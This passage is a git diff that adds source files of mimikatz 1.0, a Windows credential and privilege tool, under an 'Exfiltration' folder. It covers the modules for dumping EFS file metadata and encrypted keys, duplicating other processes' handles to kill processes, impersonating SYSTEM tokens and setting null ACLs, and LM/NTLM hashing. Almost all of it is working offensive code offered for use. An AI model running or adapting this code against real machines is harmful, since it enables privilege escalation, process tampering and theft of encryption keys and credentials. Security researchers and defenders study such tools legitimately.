mesAttr->DRF_Offset, &Fek); + } + } + else + { + (*outputStream) << L" DATA :" << endl; + if(!monMarshaledStream->Flag) + { + (*outputStream) << L" DATA Segment Encryption Header :" << endl; + PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER monSegEncHead = reinterpret_cast<PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER>(StreamData); + (*outputStream) << + L" * Length : " << monSegEncHead->Length << endl << + L" * StartingFile_Offset : " << monSegEncHead->StartingFile_Offset << endl << + L" * BytesWithinStreamSize : " << monSegEncHead->BytesWithinStreamSize << endl << + L" * BytesWithinVDL : " << monSegEncHead->BytesWithinVDL << endl << + L" * DataUnitShift : " << monSegEncHead->DataUnitShift << endl << + L" * ChunkShift : " << monSegEncHead->ChunkShift << endl << + L" * ClusterShift : " << monSegEncHead->ClusterShift << endl << + L" * NumberOfDataBlocks : " << monSegEncHead->NumberOfDataBlocks << endl << + endl; + + PEFS_EXTENDED_HEADER monExtHeader = reinterpret_cast<PEFS_EXTENDED_HEADER>(reinterpret_cast<PBYTE>(monSegEncHead) + FIELD_OFFSET(EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, DataBlockSizes) + (sizeof(DWORD) * monSegEncHead->NumberOfDataBlocks)); + if(monExtHeader->EXTD_Number == 'DTXE') + { + (*outputStream) << L" * Extended Header Flag : " << monExtHeader->Flags << endl; + } + + for(DWORD block = 0; block < monSegEncHead->NumberOfDataBlocks; block++) + { + (*outputStream) << L" -> Block " << block+1 << L" ; taille : " << monSegEncHead->DataBlockSizes[block] << endl; + + PBYTE mesDatas = reinterpret_cast<PBYTE>(StreamData) + monSegEncHead->Length; + (*outputStream) << mod_text::stringOfHex(mesDatas, monSegEncHead->DataBlockSizes[block], 16) << endl; + + if(Fek); + } + } + else + { + (*outputStream) << L"TODO Data" << endl; + } + } + } + } + } + else (*outputStream) << L"Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; + + free(sba.tableau); + CloseEncryptedFileRaw(pvContext); + } + else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; + } + return true; +} + +bool mod_mimikatz_efs::toraw(vector<wstring> * arguments) +{ + if(arguments->size() == 2) + { + PVOID pvContext = NULL; + (*outputStream) << L"Ouverture de : " << arguments->front() << endl; + if(OpenEncryptedFileRaw(arguments->front().c_str(), 0, &pvContext) == ERROR_SUCCESS) + { + (*outputStream) << L"Vers : " << arguments->back() << endl; + HANDLE hFile = CreateFile(arguments->back().c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(ReadEncryptedFileRaw(ExportToFileCallback, &hFile, pvContext) == ERROR_SUCCESS) + { + (*outputStream) << L" * Export OK" << endl; + } + else (*outputStream) << L"* Erreur ReadEncryptedFileRaw : " << mod_system::getWinError() << endl; + CloseHandle(hFile); + CloseEncryptedFileRaw(pvContext); + } + else (*outputStream) << L"Erreur OpenEncryptedFileRaw : " << mod_system::getWinError() << endl; + } + return true; +} + +void mod_mimikatz_efs::printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList) +{ + for(DWORD i = 0; i < hashList->nCert_Hash; i++) + { + wstring user; + mod_secacl::simpleSidToString(hashList->pUsers[i]->pUserSid, &user); + + (*outputStream) << + L" * Nom : " << user << endl << + L" * Nom simple : " << hashList->pUsers[i]->lpDisplayInformation << endl << + L" * Hash du certificat : " << mod_text::stringOfHex(hashList->pUsers[i]->pHash->pbData, hashList->pUsers[i]->pHash->cbData) << endl << + endl; + } +} + +DWORD WINAPI mod_mimikatz_efs::ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength) +{ + if(ulLength) + { + PSIMPLE_BYTE_ARRAY sba = reinterpret_cast<PSIMPLE_BYTE_ARRAY>(pvCallbackContext); + sba->tableau = reinterpret_cast<PBYTE>(realloc(sba->tableau, sba->nbElements + ulLength)); + if(sba->tableau) + { + RtlCopyMemory(sba->tableau + sba->nbElements, pbData, ulLength); + sba->nbElements += ulLength; + } + else + return ERROR_NOT_ENOUGH_MEMORY; + } + return ERROR_SUCCESS; +} + +DWORD WINAPI mod_mimikatz_efs::ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, ULONG ulLength) +{ + if(ulLength) + { + (*outputStream) << L" - Lecture d\'un bloc de : " << ulLength << endl; + DWORD dwBytesWritten = 0; + if(WriteFile(*reinterpret_cast<PHANDLE>(pvCallbackContext), pbData, ulLength, &dwBytesWritten, NULL) && (ulLength == dwBytesWritten)) + return ERROR_SUCCESS; + return GetLastError(); + } + return ERROR_SUCCESS; +} + +bool mod_mimikatz_efs::fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * pFek) +{ + *pFek = NULL; + PEFS_KEY_LIST monHead = reinterpret_cast<PEFS_KEY_LIST>(reinterpret_cast<PBYTE>(header) + KeyList_offset); + + PEFS_KEY_LIST_ENTRY monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>(monHead); + DWORD previousSize = sizeof(PEFS_KEY_LIST); + for(DWORD i = 0; i < monHead->Length; i++) + { + (*outputStream) << endl << L" Champ de donnes " << (i + 1) << L" :" << endl; + monHeader = reinterpret_cast<PEFS_KEY_LIST_ENTRY>((PBYTE) monHeader + previousSize); + + PEFS_PUBLIC_KEY_INFORMATION monCredHeader = reinterpret_cast<PEFS_PUBLIC_KEY_INFORMATION>(reinterpret_cast<PBYTE>(monHeader) + monHeader->PKI_Offset); + wstring user; + if(monCredHeader->OwnerSID_offset) + mod_secacl::simpleSidToString((reinterpret_cast<PBYTE>(monCredHeader) + monCredHeader->OwnerSID_offset), &user); + else user.assign(L"(null)"); + + (*outputStream) << L" * Utilisateur : " << user << endl; + fullInfosFromEFS_CERTIFICATE_DATA(monCredHeader, monCredHeader->Certificate_offset); + + PBYTE Encrypted_FEK = reinterpret_cast<PBYTE>(monHeader) + monHeader->Enc_FEK_Offset; + (*outputStream) << + L" * Flags : " << monHeader->Flags << endl << + L" * FEK (chiffre) : " << endl << + L" -> Taille : " << monHeader->Enc_FEK_Length << endl << + L" -> Donnes : " << endl << mod_text::stringOfHex(Encrypted_FEK, monHeader->Enc_FEK_Length, 16) << endl << + endl; + + /*HCRYPTPROV hCryptKeyProv; + if(CryptAcquireContext(&hCryptKeyProv, L"", MS_STRONG_PROV, PROV_RSA_FULL, NULL )) + { + HCRYPTKEY maCle = NULL; + if(CryptGetUserKey(hCryptKeyProv, AT_KEYEXCHANGE, &maCle)) + { + DWORD taille = monHeader->Enc_FEK_Length; + if (CryptDecrypt(maCle, 0, TRUE, 0, Encrypted_FEK, &taille) ) + { + *pFek = reinterpret_cast<PEFS_FEK>(Encrypted_FEK); + (*outputStream) << + L" * FEK (clair) : " << endl << + L" -> Taille : " << (*pFek)->Key_Lenght << endl << + L" -> Algorithme : " << (*pFek)->Algorithm << endl << + L" -> Entropie : " << (*pFek)->Entropy << endl << + L" -> Donnes : " << endl << mod_text::stringOfHex((*pFek)->Key, (*pFek)->Key_Lenght, 16) << endl << + endl; + } + else + (*outputStream) << mod_system::getWinError() << endl; + } + CryptReleaseContext(hCryptKeyProv, 0); + }*/ + + previousSize = monHeader->Length; + } + + return (*pFek != NULL); +} + +void mod_mimikatz_efs::fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset) +{ + PEFS_CERTIFICATE_DATA monThCertificate = reinterpret_cast<PEFS_CERTIFICATE_DATA>(reinterpret_cast<PBYTE>(header) + header->Certificate_offset); + + (*outputStream) << L" -> Nom affich : "; + if(monThCertificate->DisplayName_Offset) + (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->DisplayName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Provider : "; + if(monThCertificate->ProviderName_Offset) + (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ProviderName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Container : "; + if(monThCertificate->ContainerName_Offset) + (*outputStream) << reinterpret_cast<wchar_t *>(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->ContainerName_Offset); + (*outputStream) << endl; + + (*outputStream) << L" -> Empreinte : " << mod_text::stringOfHex(reinterpret_cast<PBYTE>(monThCertificate) + monThCertificate->CertificateThumbprint, monThCertificate->CertificateThumbprint_Length) << endl; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h new file mode 100644 index 0000000..0a82140 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_efs.h @@ -0,0 +1,133 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <WinEFS.h> +#include <iostream> +#include "mod_text.h" +#include "mod_system.h" +#include "mod_secacl.h" +#include "mod_crypto.h" + +class mod_mimikatz_efs +{ +private: + // http://msdn.microsoft.com/library/cc230447.aspx + typedef struct _EFS_RAW { + DWORD Unknown0; + DWORD ROBS0; + DWORD ROBS1; + BYTE Reserved[8]; + } EFS_RAW, *PEFS_RAW; + + typedef struct _EFS_MARSHALED_STREAM { + DWORD Length; + DWORD NTFS0; + DWORD NTFS1; + DWORD Flag; + BYTE Reserved[8]; + DWORD NameLenght; + wchar_t StreamName[1]; + } EFS_MARSHALED_STREAM, *PEFS_MARSHALED_STREAM; + + typedef struct _EFS_STREAM_DATA_SEGMENT { + DWORD Length; + DWORD GURE0; + DWORD GURE1; + DWORD Reserved; + } EFS_STREAM_DATA_SEGMENT, *PEFS_STREAM_DATA_SEGMENT; + + typedef struct _EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER { + LONG64 StartingFile_Offset; + DWORD Length; + DWORD BytesWithinStreamSize; + DWORD BytesWithinVDL; + USHORT ReservedForAlignement0; + BYTE DataUnitShift; + BYTE ChunkShift; + BYTE ClusterShift; + BYTE ReservedForAlignement1; + USHORT NumberOfDataBlocks; + DWORD DataBlockSizes[1]; + } EFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER, *PEFS_STREAM_DATA_SEGMENT_ENCRYPTION_HEADER; + + typedef struct _EFS_EXTENDED_HEADER { + DWORD EXTD_Number; + DWORD Length; + DWORD Flags; + DWORD Reserved; + } EFS_EXTENDED_HEADER, *PEFS_EXTENDED_HEADER; + + typedef struct _EFS_METADATA_1 { + DWORD Length; + DWORD Reserved1; + DWORD EFS_Version; + DWORD Reserved2; + BYTE EFS_ID[16]; + BYTE EFS_Hash[16]; + BYTE Reserved3[16]; + LONG DDF_Offset; + LONG DRF_Offset; + BYTE Reserved4[12]; + } EFS_METADATA_1, *PEFS_METADATA_1; + + typedef struct _EFS_KEY_LIST { + DWORD Length; + } EFS_KEY_LIST, *PEFS_KEY_LIST; + + typedef struct _EFS_KEY_LIST_ENTRY { + DWORD Length; + LONG PKI_Offset; + DWORD Enc_FEK_Length; + LONG Enc_FEK_Offset; + DWORD Flags; + } EFS_KEY_LIST_ENTRY, *PEFS_KEY_LIST_ENTRY; + + typedef struct _EFS_PUBLIC_KEY_INFORMATION { + DWORD Length; + LONG OwnerSID_offset; + DWORD Type; + DWORD Certificate_Length; + LONG Certificate_offset; + } EFS_PUBLIC_KEY_INFORMATION, *PEFS_PUBLIC_KEY_INFORMATION; + + typedef struct _EFS_CERTIFICATE_DATA { + LONG CertificateThumbprint; + DWORD CertificateThumbprint_Length; + LONG ContainerName_Offset; + LONG ProviderName_Offset;; + LONG DisplayName_Offset; + } EFS_CERTIFICATE_DATA, *PEFS_CERTIFICATE_DATA; + + typedef struct _EFS_FEK { + DWORD Key_Lenght; + DWORD Entropy; + ALG_ID Algorithm; + DWORD Reserverd; + BYTE Key[1]; + } EFSFEK, *PEFS_FEK; + + typedef struct _SIMPLE_BYTE_ARRAY{ + SIZE_T nbElements; + PBYTE tableau; + } SIMPLE_BYTE_ARRAY, *PSIMPLE_BYTE_ARRAY; + + static DWORD WINAPI ExportToArrayCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); + static DWORD WINAPI ExportToFileCallback(PBYTE pbData, PVOID pvCallbackContext, DWORD ulLength); + static void printInfos(PENCRYPTION_CERTIFICATE_HASH_LIST hashList); + + static bool fullInfosFromEFS_KEY_LIST(PEFS_METADATA_1 header, LONG KeyList_offset, PEFS_FEK * Fek); + static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool infos(vector<wstring> * arguments); + static bool full(vector<wstring> * arguments); + static bool toraw(vector<wstring> * arguments); + static bool fromraw(vector<wstring> * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp new file mode 100644 index 0000000..8e45ee6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.cpp @@ -0,0 +1,301 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_handle.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_handle::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du systme (pour le moment juste les processus et tokens)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles")); + return monVector; +} + +bool mod_mimikatz_handle::list(vector<wstring> * arguments) +{ + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>(); + + bool isProcessList = mod_process::getList(mesProcess); + vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>(); + + DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0); + + if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id)) + { + for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0); + bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0); + + if(isToken || isProcess) + { + (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" "; + + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)) + (*outputStream) << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right; + delete processHote; + } + + (*outputStream) << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t'; + + if(isToken) + { + wstring userName, domainName; + if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) + (*outputStream) << L'\t' << domainName << L'\\' << userName ; + else (*outputStream) << mod_system::getWinError(); + } + else if(isProcess) + { + DWORD monPid = GetProcessId(nouveauHandle); + (*outputStream) << monPid; + + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); + if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)) + (*outputStream) << L'\t' << processKiwi->szExeFile; + delete processKiwi; + } + } + (*outputStream) << endl; + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::processStop(vector<wstring> * arguments) +{ + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>(); + + bool isProcessList = mod_process::getList(mesProcess); + vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>(); + + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + if(_wcsicmp(tokenType.c_str(), L"process") == 0) + { + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32(); + DWORD monPid = GetProcessId(nouveauHandle); + if( + mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) && + mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess) + ) + { + + for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << + setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << + setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << + monPid << L'\t' << processKiwi->szExeFile << endl; + ; + + + (*outputStream) << L"\tTerminate Process - "; + if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0) + { + (*outputStream) << L"OK"; + } + else + { + (*outputStream) << L"KO ; " << mod_system::getWinError() << endl << + L"\tJob : "; + + if(HANDLE monObject = CreateJobObject(NULL, NULL)) + { + if(AssignProcessToJobObject(monObject, nouveauHandle)) + { + (*outputStream) << L"TerminateJobObject - "; + if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0) + { + (*outputStream) << L"OK"; + } + else (*outputStream) << L"KO ; " << mod_system::getWinError(); + } + else (*outputStream) << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError(); + CloseHandle(monObject); + } + + } + + (*outputStream) << endl; + } + } + } + delete processKiwi; + delete processHote; + } + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::tokenImpersonate(vector<wstring> * arguments) +{ + PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast<PNT_SET_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess")); + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>(); + + bool isProcessList = mod_process::getList(mesProcess); + vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>(); + + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + if(_wcsicmp(tokenType.c_str(), L"token") == 0) + { + if(isProcessList) + { + mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32(); + if( + mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) + ) + { + wstring userName, domainName; + if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName)) + { + if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0) + { + (*outputStream) << + setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " << + setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " << + setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << + domainName << L'\\' << userName << L'\t'; + + if(mod_secacl::exchangeDupToken(&nouveauHandle)) + { + if(ImpersonateLoggedOnUser(nouveauHandle)) + { + (*outputStream) << L"ok !!" << endl; + break; + } + else + { + (*outputStream) << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl; + } + } + else + { + (*outputStream) << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl; + } + + } + } + else (*outputStream) << mod_system::getWinError(); + } + delete processHote; + } + } + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} + +bool mod_mimikatz_handle::nullAcl(vector<wstring> * arguments) +{ + vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>(); + if(mod_system::getSystemHandles(mesHandles)) + { + for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++) + { + HANDLE hProcess; + if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId)) + { + HANDLE nouveauHandle; + if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + wstring tokenType; + if(mod_system::getHandleType(nouveauHandle, &tokenType)) + { + bool toACL = true;; + if(!arguments->empty()) + toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end(); + + if(toACL) + (*outputStream) << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl; + } + CloseHandle(nouveauHandle); + } + CloseHandle(hProcess); + } + } + } + else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl; + + delete mesHandles; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h new file mode 100644 index 0000000..961991c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_handle.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_secacl.h" +#include <iostream> +#include <algorithm> + +class mod_mimikatz_handle +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool list(vector<wstring> * arguments); + static bool processStop(vector<wstring> * arguments); + static bool tokenImpersonate(vector<wstring> * arguments); + static bool nullAcl(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp new file mode 100644 index 0000000..302c05e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.cpp @@ -0,0 +1,43 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_hash.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_hash::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chane de caractres")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chane de caractres")); + return monVector; +} + +bool mod_mimikatz_hash::lm(vector<wstring> * arguments) +{ + wstring chaine, hash; + + if(!arguments->empty()) + chaine = arguments->front(); + + if(mod_hash::lm(&chaine, &hash)) + (*outputStream) << L"LM(\'" << chaine << L"\') = " << hash << endl; + else + (*outputStream) << L"Erreur de calcul du hash LM" << endl; + return true; +} + +bool mod_mimikatz_hash::ntlm(vector<wstring> * arguments) +{ + wstring chaine, hash; + + if(!arguments->empty()) + chaine = arguments->front(); + + if(mod_hash::ntlm(&chaine, &hash)) + (*outputStream) << L"NTLM(\'" << chaine << L"\') = " << hash << endl; + else + (*outputStream) << L"Erreur de calcul du hash NTLM" << endl; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h new file mode 100644 index 0000000..96ac879 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_hash.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_hash.h" +#include <iostream> + +class mod_mimikatz_hash +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool lm(vector<wstring> * arguments); + static bool ntlm(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp new file mode 100644 index 0000000..012c62a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.cpp @@ -0,0 +1,25 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_impersonate.h" +#include "..\global.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_impersonate::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf")); + return monVector; +} +bool mod_mimikatz_impersonate::revert(vector<wstring> * arguments) +{ + (*outputStream) << L"RevertToSelf : "; + if(RevertToSelf()) + (*outputStream) << L"ok"; + else + (*outputStream) << L"ko ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h new file mode 100644 index 0000000..da62b37 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_impersonate.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_thread.h" +#include <iostream> + +class mod_mimikatz_impersonate +{ +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool revert(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp new file mode 100644 index 0000000..74ca84d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.cpp @@ -0,0 +1,120 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_inject.h" +#include "..\global.h" + +mod_pipe * 